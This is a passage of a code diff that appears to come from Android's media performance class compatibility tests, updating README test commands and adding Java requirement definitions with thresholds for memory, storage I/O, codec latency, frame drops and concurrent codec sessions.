--- a/tests/mediapc/README.md
+++ b/tests/mediapc/README.md
@@ -4,7 +4,19 @@
The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
### Commands
+#### To run all tests in CtsMediaPerformanceClassTestCases
```sh
-$ atest android.mediapc.cts
-$ atest android.mediapc.cts.PeformanceClassTest
+$ atest CtsMediaPerformanceClassTestCases
+```
+#### To run a subset of tests in CtsMediaPerformanceClassTestCases
+```sh
+$ atest CtsMediaPerformanceClassTestCases:android.mediapc.cts.FrameDropTest
+```
+#### To run all tests in CtsMediaPerformanceClassTestCases by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS
+In some cases it might be useful to override Build.VERSION.MEDIA_PERFORMANCE_CLASS and run the tests.
+For eg: when the device doesn't advertise Build.VERSION.MEDIA_PERFORMANCE_CLASS, running the tests by overriding
+this will help in determining the which performance class requirements are met by the device.
+Following runs the tests by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS as S.
+```sh
+$ atest CtsMediaPerformanceClassTestCases -- --module-arg CtsMediaPerformanceClassTestCases:instrumentation-arg:media-performance-class:=31
```
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index ac1905c..e851d39 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -20,20 +20,17 @@
import static org.junit.Assume.assumeTrue;
+import android.media.MediaFormat;
import android.os.Build;
-import androidx.test.filters.SmallTest;
-
import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableMap;
+import java.util.ArrayList;
+import java.util.Arrays;
import org.junit.rules.TestName;
-import org.junit.Test;
import java.util.HashSet;
import java.util.Set;
-import java.util.HashMap;
-import java.util.Map;
/**
* Logs a set of measurements and results for defined performance class requirements.
@@ -96,12 +93,14 @@
.setId(RequirementConstants.LONG_RESOLUTION)
.setPredicate(RequirementConstants.INTEGER_GTE)
.addRequiredValue(Build.VERSION_CODES.S, 1920)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1920)
.build();
RequiredMeasurement<Integer> short_resolution = RequiredMeasurement
.<Integer>builder()
.setId(RequirementConstants.SHORT_RESOLUTION)
.setPredicate(RequirementConstants.INTEGER_GTE)
.addRequiredValue(Build.VERSION_CODES.S, 1080)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
.build();
return new ResolutionRequirement(RequirementConstants.R7_1_1_1__H_2_1, long_resolution,
@@ -144,13 +143,14 @@
.setId(RequirementConstants.DISPLAY_DENSITY)
.setPredicate(RequirementConstants.INTEGER_GTE)
.addRequiredValue(Build.VERSION_CODES.S, 400)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 400)
.build();
return new DensityRequirement(RequirementConstants.R7_1_1_3__H_2_1, display_density);
}
}
- // used for requirements [7.6.1/H-1-1], [7.6.1/H-2-1], [7.6.1/H-3-1]
+ // used for requirements [7.6.1/H-1-1], [7.6.1/H-2-1]
public static class MemoryRequirement extends Requirement {
private static final String TAG = MemoryRequirement.class.getSimpleName();
@@ -179,22 +179,829 @@
}
/**
- * [7.6.1/H-2-1] MUST have at least 6 GB of physical memory.
+ * [7.6.1/H-2-1] MUST have at least 6/8 GB of physical memory.
*/
public static MemoryRequirement createR7_6_1__H_2_1() {
RequiredMeasurement<Long> physical_memory = RequiredMeasurement
.<Long>builder()
.setId(RequirementConstants.PHYSICAL_MEMORY)
.setPredicate(RequirementConstants.LONG_GTE)
- // Media performance requires 6 GB minimum RAM, but keeping the following to 5 GB
- // as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
+ // Media performance requires 6/8 GB minimum RAM, but keeping the following to
+ // 5/7 GB as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
.addRequiredValue(Build.VERSION_CODES.S, 5L * 1024L)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 7L * 1024L)
.build();
return new MemoryRequirement(RequirementConstants.R7_6_1__H_2_1, physical_memory);
}
}
+ // used for requirements [8.2/H-1-1], [8.2/H-1-2], [8.2/H-1-3], [8.2/H-1-4]
+ public static class FileSystemRequirement extends Requirement {
+
+ private static final String TAG = FileSystemRequirement.class.getSimpleName();
+
+ private FileSystemRequirement(String id, RequiredMeasurement<?>... reqs) {
+ super(id, reqs);
+ }
+ /**
+ * Set the Filesystem I/O Rate in MB/s.
+ */
+ public void setFilesystemIoRate(double filesystemIoRate) {
+ this.setMeasuredValue(RequirementConstants.FILESYSTEM_IO_RATE, filesystemIoRate);
+ }
+
+ /**
+ * [8.2/H-1-1] MUST ensure a sequential write performance of at least 100(R) / 125(S &
+ * above) MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_1_1() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 100.0)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 125.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_1_1, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-2-1] MUST ensure a sequential write performance of at least 125 MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_2_1() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.S, 125.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_2_1, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-1-2] MUST ensure a random write performance of at least 10 MB/s
+ */
+ public static FileSystemRequirement createR8_2__H_1_2() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 10.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_1_2, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-2-2] MUST ensure a random write performance of at least 10 MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_2_2() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.S, 10.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_2_2, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-1-3] MUST ensure a sequential read performance of at least 200(R) / 250(S &
+ * above) MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_1_3() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 200.0)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 250.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_1_3, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-2-3] MUST ensure a sequential read performance of at least 250 MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_2_3() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.S, 250.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_2_3, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-1-4] MUST ensure a random read performance of at least 25(R) / 40(S & above) MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_1_4() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 25.0)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_1_4, filesystem_io_rate);
+ }
+
+ /**
+ * [8.2/H-2-4] MUST ensure a random read performance of at least 40 MB/s.
+ */
+ public static FileSystemRequirement createR8_2__H_2_4() {
+ RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+ .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.S, 40.0)
+ .build();
+
+ return new FileSystemRequirement(RequirementConstants.R8_2__H_2_4, filesystem_io_rate);
+ }
+ }
+
+ public static class CodecInitLatencyRequirement extends Requirement {
+
+ private static final String TAG = CodecInitLatencyRequirement.class.getSimpleName();
+
+ private CodecInitLatencyRequirement(String id, RequiredMeasurement<?>... reqs) {
+ super(id, reqs);
+ }
+
+ public void setCodecInitLatencyMs(long codecInitLatencyMs) {
+ this.setMeasuredValue(RequirementConstants.CODEC_INIT_LATENCY, codecInitLatencyMs);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-7] MUST have a codec initialization latency of 65(R) / 50(S) / 40(T)
+ * ms or less for a 1080p or smaller video encoding session for all hardware video
+ * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+ * video-only transcoding session using hardware video codecs together with the 1080p
+ * audio-video recording initialization.
+ */
+ public static CodecInitLatencyRequirement createR5_1__H_1_7() {
+ RequiredMeasurement<Long> codec_init_latency =
+ RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+ .setPredicate(RequirementConstants.LONG_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 65L)
+ .addRequiredValue(Build.VERSION_CODES.S, 50L)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+ .build();
+
+ return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_7,
+ codec_init_latency);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-8] MUST have a codec initialization latency of 50(R) / 40(S) / 30(T)
+ * ms or less for a 128 kbps or lower bitrate audio encoding session for all audio
+ * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+ * video-only transcoding session using hardware video codecs together with the 1080p
+ * audio-video recording initialization.
+ */
+ public static CodecInitLatencyRequirement createR5_1__H_1_8() {
+ RequiredMeasurement<Long> codec_init_latency =
+ RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+ .setPredicate(RequirementConstants.LONG_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 50L)
+ .addRequiredValue(Build.VERSION_CODES.S, 40L)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+ .build();
+
+ return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_8,
+ codec_init_latency);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-12] Codec initialization latency of 40ms or less for a 1080p or
+ * smaller video decoding session for all hardware video encoders when under load. Load
+ * here is defined as a concurrent 1080p to 720p video-only transcoding session using
+ * hardware video codecs together with the 1080p audio-video recording initialization.
+ */
+ public static CodecInitLatencyRequirement createR5_1__H_1_12() {
+ RequiredMeasurement<Long> codec_init_latency =
+ RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+ .setPredicate(RequirementConstants.LONG_LTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+ .build();
+
+ return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_12,
+ codec_init_latency);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-13] Codec initialization latency of 30ms or less for a 128kbps or
+ * lower bitrate audio decoding session for all audio encoders when under load. Load here
+ * is defined as a concurrent 1080p to 720p video-only transcoding session using hardware
+ * video codecs together with the 1080p audio-video recording initialization.
+ */
+ public static CodecInitLatencyRequirement createR5_1__H_1_13() {
+ RequiredMeasurement<Long> codec_init_latency =
+ RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+ .setPredicate(RequirementConstants.LONG_LTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+ .build();
+
+ return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_13,
+ codec_init_latency);
+ }
+ }
+
+ // used for requirements [2.2.7.1/5.3/H-1-1], [2.2.7.1/5.3/H-1-2]
+ public static class FrameDropRequirement extends Requirement {
+ private static final String TAG = FrameDropRequirement.class.getSimpleName();
+
+ private FrameDropRequirement(String id, RequiredMeasurement<?>... reqs) {
+ super(id, reqs);
+ }
+
+ public void setFramesDropped(int framesDropped) {
+ this.setMeasuredValue(RequirementConstants.FRAMES_DROPPED, framesDropped);
+ }
+
+ public void setFrameRate(double frameRate) {
+ this.setMeasuredValue(RequirementConstants.FRAME_RATE, frameRate);
+ }
+
+ /**
+ * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 1 frames in 10 seconds (i.e less than 0.333
+ * percent frame drop) for a 1080p 30 fps video session under load. Load is defined as a
+ * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+ * as well as a 128 kbps AAC audio playback.
+ */
+ public static FrameDropRequirement createR5_3__H_1_1_R() {
+ RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRAMES_DROPPED)
+ .setPredicate(RequirementConstants.INTEGER_LTE)
+ // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.R, 3)
+ .build();
+
+ RequiredMeasurement<Double> frameRate = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.FRAME_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+ .build();
+
+ return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+ frameRate);
+ }
+
+ /**
+ * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 1 frame in 10 seconds during a video
+ * resolution change in a 30 fps video session under load. Load is defined as a
+ * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+ * as well as a 128Kbps AAC audio playback.
+ */
+ public static FrameDropRequirement createR5_3__H_1_2_R() {
+ RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRAMES_DROPPED)
+ .setPredicate(RequirementConstants.INTEGER_LTE)
+ // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.R, 3)
+ .build();
+
+ RequiredMeasurement<Double> frameRate = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.FRAME_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+ .build();
+
+ return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+ frameRate);
+ }
+
+ /**
+ * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds for a
+ * 1080p 60 fps video session under load. Load is defined as a concurrent 1080p to 720p
+ * video-only transcoding session using hardware video codecs, as well as a 128 kbps AAC
+ * audio playback.
+ */
+ public static FrameDropRequirement createR5_3__H_1_1_ST() {
+ RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRAMES_DROPPED)
+ .setPredicate(RequirementConstants.INTEGER_LTE)
+ // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.S, 6)
+ // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+ .build();
+
+ RequiredMeasurement<Double> frameRate = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.FRAME_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_EQ)
+ .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+ .build();
+
+ return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+ frameRate);
+ }
+
+ /**
+ * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds during a
+ * video resolution change in a 60 fps video session under load. Load is defined as a
+ * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+ * as well as a 128Kbps AAC audio playback.
+ */
+ public static FrameDropRequirement createR5_3__H_1_2_ST() {
+ RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRAMES_DROPPED)
+ .setPredicate(RequirementConstants.INTEGER_LTE)
+ // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.S, 6)
+ // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+ .build();
+
+ RequiredMeasurement<Double> frameRate = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.FRAME_RATE)
+ .setPredicate(RequirementConstants.DOUBLE_EQ)
+ .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+ .build();
+
+ return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+ frameRate);
+ }
+ }
+
+ public static class VideoCodecRequirement extends Requirement {
+ private static final String TAG = VideoCodecRequirement.class.getSimpleName();
+
+ private VideoCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setAv1DecoderReq(boolean av1DecoderReqSatisfied) {
+ this.setMeasuredValue(RequirementConstants.AV1_DEC_REQ, av1DecoderReqSatisfied);
+ }
+
+ public void set4kHwDecoders(int num4kHwDecoders) {
+ this.setMeasuredValue(RequirementConstants.NUM_4k_HW_DEC, num4kHwDecoders);
+ }
+
+ public void set4kHwEncoders(int num4kHwEncoders) {
+ this.setMeasuredValue(RequirementConstants.NUM_4k_HW_ENC, num4kHwEncoders);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-15] Must have at least 1 HW video decoder supporting 4K60
+ */
+ public static VideoCodecRequirement createR4k60HwDecoder() {
+ RequiredMeasurement<Integer> requirement = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.NUM_4k_HW_DEC)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+ .build();
+
+ return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_15, requirement);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-16] Must have at least 1 HW video encoder supporting 4K60
+ */
+ public static VideoCodecRequirement createR4k60HwEncoder() {
+ RequiredMeasurement<Integer> requirement = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.NUM_4k_HW_ENC)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+ .build();
+
+ return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_16, requirement);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-14] AV1 Hardware decoder: Main 10, Level 4.1, Film Grain
+ */
+ public static VideoCodecRequirement createRAV1DecoderReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.AV1_DEC_REQ)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_14, requirement);
+ }
+ }
+
+ // used for requirements [2.2.7.1/5.1/H-1-1], [2.2.7.1/5.1/H-1-2], [2.2.7.1/5.1/H-1-3],
+ // [2.2.7.1/5.1/H-1-4], [2.2.7.1/5.1/H-1-5], [2.2.7.1/5.1/H-1-6], [2.2.7.1/5.1/H-1-9],
+ // [2.2.7.1/5.1/H-1-10]
+ public static class ConcurrentCodecRequirement extends Requirement {
+ private static final String TAG = ConcurrentCodecRequirement.class.getSimpleName();
+ // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving
+ // fps that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
+ // passing the test
+ private static final double FPS_TOLERANCE_FACTOR = 0.95;
+ private static final double FPS_30_TOLERANCE = 30.0 * FPS_TOLERANCE_FACTOR;
+ static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
+ static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
+
+ private ConcurrentCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setConcurrentInstances(int concurrentInstances) {
+ this.setMeasuredValue(RequirementConstants.CONCURRENT_SESSIONS,
+ concurrentInstances);
+ }
+
+ public void setConcurrentFps(double achievedFps) {
+ this.setMeasuredValue(RequirementConstants.CONCURRENT_FPS, achievedFps);
+ }
+
+ // copied from android.mediapc.cts.getReqMinConcurrentInstances due to build issues on aosp
+ public static int getReqMinConcurrentInstances(int performanceClass, String mimeType1,
+ String mimeType2, int resolution) {
+ ArrayList<String> MEDIAPC_CONCURRENT_CODECS_R = new ArrayList<>(
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC));
+ ArrayList<String> MEDIAPC_CONCURRENT_CODECS = new ArrayList<>(Arrays
+ .asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_VIDEO_VP9, MediaFormat.MIMETYPE_VIDEO_AV1));
+
+ if (performanceClass >= Build.VERSION_CODES.TIRAMISU) {
+ return resolution >= 1080 ? REQUIRED_MIN_CONCURRENT_INSTANCES : 0;
+ } else if (performanceClass == Build.VERSION_CODES.S) {
+ if (resolution >= 1080) {
+ return 0;
+ }
+ if (MEDIAPC_CONCURRENT_CODECS.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS
+ .contains(mimeType2)) {
+ if (MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType1)
+ || MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType2)) {
+ return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+ } else {
+ return REQUIRED_MIN_CONCURRENT_INSTANCES;
+ }
+ } else {
+ return 0;
+ }
+ } else if (performanceClass == Build.VERSION_CODES.R) {
+ if (resolution >= 1080) {
+ return 0;
+ }
+ if (MEDIAPC_CONCURRENT_CODECS_R.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS_R
+ .contains(mimeType2)) {
+ return REQUIRED_MIN_CONCURRENT_INSTANCES;
+ } else {
+ return 0;
+ }
+ } else {
+ return 0;
+ }
+ }
+
+ private static double getReqMinConcurrentFps(int performanceClass, String mimeType1,
+ String mimeType2, int resolution) {
+ return FPS_30_TOLERANCE * getReqMinConcurrentInstances(performanceClass, mimeType1,
+ mimeType2, resolution);
+ }
+
+ /**
+ * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+ * a requirement for tests ran with a resolution of 720p
+ */
+ private static ConcurrentCodecRequirement create720p(String requirementId,
+ RequiredMeasurement<?> measure) {
+ RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.TEST_RESOLUTION)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, 720)
+ .build();
+
+ ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+ testResolution);
+ req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 720);
+ return req;
+ }
+
+ /**
+ * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+ * a requirement for tests ran with a resolution of 1080p
+ */
+ private static ConcurrentCodecRequirement create1080p(String requirementId,
+ RequiredMeasurement<?> measure) {
+ RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.TEST_RESOLUTION)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
+ .build();
+
+ ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+ testResolution);
+ req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 1080);
+ return req;
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+ * sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_1_720p(String mimeType1,
+ String mimeType2, int resolution) {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+ resolution))
+ .addRequiredValue(Build.VERSION_CODES.S,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+ resolution))
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_1, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+ * sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_1_1080p() {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_1, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
+ * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+ * resolution@30 fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_2_720p(String mimeType1,
+ String mimeType2, int resolution) {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution))
+ .addRequiredValue(Build.VERSION_CODES.S,
+ getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution))
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
+ * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+ * resolution@30 fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_2_1080p() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+ * sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_3_720p(String mimeType1,
+ String mimeType2, int resolution) {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+ resolution))
+ .addRequiredValue(Build.VERSION_CODES.S,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+ resolution))
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_3, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+ * sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
